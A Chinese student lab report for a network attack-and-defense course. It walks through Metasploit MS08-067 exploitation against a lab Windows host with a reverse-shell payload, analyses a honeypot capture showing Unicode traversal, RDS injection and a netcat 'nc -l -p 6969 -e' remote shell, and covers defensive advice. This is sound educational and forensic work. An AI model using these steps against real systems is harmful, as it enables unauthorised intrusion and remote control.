20212903 2021-2022-2 《网络攻防实践》实践六报告
20212903 2021-2022-2 《网络攻防实践》实践六报告
1.实践内容
metasploit介绍
The Metasploit Framework的简称。MSF高度模块化,即框架由多个module组成,是全球最受欢迎的工具。是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。
metasploit涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试。
MS08-067漏洞
漏洞描述:
MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。
当用户在受影响的系统上收到RPC请求时,该漏洞会允许远程执行代码,攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时,该漏洞可以用于蠕虫攻击。它影响了某些旧版本的Windows系统,包括:
- Windows 2000
- Windows XP
- Windows Server 2003
漏洞原理:
MS08-067漏洞是通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误(溢出),造成可被利用实施远程代码执行(Remote Code Execution)。
2.实践过程
(1)动手实践Metasploit windows attacker
- 任务:使用metasploit软件进行windows远程渗透统计实验
- 具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
虚拟机名称 | IP地址 |
---|---|
攻击机Kali | 172.30.2.58 |
靶机Win2kServer | 172.30.6.80 |
1、首先测试靶机与攻击机的连通性
靶机与攻击机处于同一网段下,可以相互ping通
2、然后再在kali中输入命令msfconsole进入Metasploit
3、输入命令search ms08-067
查看漏洞
4、show options
查看需要设置的参数
5、show payloads
显示可用的攻击负载,,查看有效的攻击载荷
6、输入use exploit/windows/smb/ms08_067_netapi
使用相关攻击脚本,set payload generic/shell_reverse_tcp
选择要用的攻击负载模块
7、输入命令set RHOST 172.30.6.80
设置要攻击的IP,输入命令set LHOET 172.30.2.58
设置本机
再利用命令show options
查看是否配置成功
8、输入命令exploit
进行攻击,若出现会话连接则表示攻击成功。
9、进一步验证攻击成功,利用命令ipconifg
进行查看IP地址,通过下图可以看出,已经显示出靶机的IP地址
(2)取证分析实践:解码一次成功的NT系统破解攻击。
-
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
- 攻击者使用了什么破解工具进行攻击
- 攻击者如何使用这个破解工具进入并控制了系统
- 攻击者获得系统访问权限后做了什么
- 我们如何防止这样的攻击
- 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
1、攻击者使用了什么破解工具进行攻击
使用wireshark打开
snort-0204@0117.log
利用命令
ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106
进行过滤,通过下图可以看出,存在TCP连接和HTTP数据流。
在117HTTP数据包中可以看到有特殊字符%C0%AF
,该字符在Unicode编码中对应符号/
,进而可以分析得到为Unicode攻击。攻击者利用Unicode攻击访问boot.ini文件
在140数据包中可以发现攻击者想要获得msadcs.dll文件
在追踪到149数据包时,发现攻击者输入数据查询语句进行SQL注入攻击
根据“ADM!ROX!YOUR!WORLD”特征字符串以及dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb
的使用,可以推测出该攻击是由 msadc2.pl渗透攻击代码发起的
2、攻击者如何使用这个破解工具进入并控制了系统
通过后续数据包可以看到攻击者曾尝试连接FTP服务,但是账号密码错误,被拒绝连接了
通过继续检查后面的数据包,发现攻击者成功建立了FTP连接
后面发现攻击者通过 nc构建其一个远程 shell 通道。然后利用命令cmd1.exe /c nc -l -p 6969 -e cmd1.exe
,使得攻击者连接 6969 端口,获得了访问权,并进入了交互式控制阶段。
3、攻击者获得系统访问权限后做了什么
已知攻击者连接的是6969端口,因此利用命令tcp.port == 6969
进行过滤
攻击者在连接后做了很多事情,例如删除了一些文件
还试图建立net session连接,但是并没有成功
试图建立创建rdisk,但是失败了
攻击者还视图通过拷贝删除har.txt的方式来提升自己的权限
4、我们如何防止这样的攻击
在这次攻击中被利用的漏洞为RDS和Unicode漏洞,而目前这两个漏洞已经有了对应的补丁
- 在我们日常使用电脑的时候要及时的更新系统,打上最新的漏洞补丁
- 要记得打开防火墙,不要关闭防火墙
- 要不断提升自己的网络安全知识,及时学习漏洞相关知识
- 尽量不要开启RDS服务等
- 不要随便开始一个自己不了解的服务端口
5、你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
已经知道了目标是一台蜜罐主机,因为从图中的命令行可以看出他建立了一个文件,并输入了如下内容 C:>echo best honeypot i've seen till now :) > rfp.txt
(3)团队对抗实践:windows系统远程渗透攻击和分析。
- 攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
- 防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
攻击实践
攻击机与靶机的IP地址如下
攻防信息 | IP地址 |
---|---|
攻击机Kali(王钧) | 192.168.116.127 |
靶机WinXP(王文彬) | 192.168.116.66 |
步骤与第一个小实验相同,重新设置一下攻击IP地址和本机IP地址
攻击wwb
在wwb的靶机中可以看到我刚刚创建的文件夹wwbswhde
防守实践
打开我的WinXP虚拟机,等待wwb同学的攻击,并打开wireshark进行抓包
通过追踪TCP数据流可以看到淘气的攻击者wwb在我C盘下创建了一个文件夹
打开我的C盘刚好看到了他创建的文件夹
3.学习中遇到的问题及解决
-
问题1:在攻击wwb的电脑时显示无法连接,并且确定了攻击IP地址没有写错
-
问题1解决方案:后来发现是wwb的虚拟机死机导致的,wwb关闭虚拟机重新开启,即可攻击成功
4.实践总结
通过这次实验,我了解了如何利用一个漏洞去攻破靶机,以及如果自己的主机上存在漏洞,被别人攻陷会对自己造成什么样的危害。同时也学会了使用Metasploit工具来进行攻击,使得我第一次真正意义上体验一下小白黑客的感觉。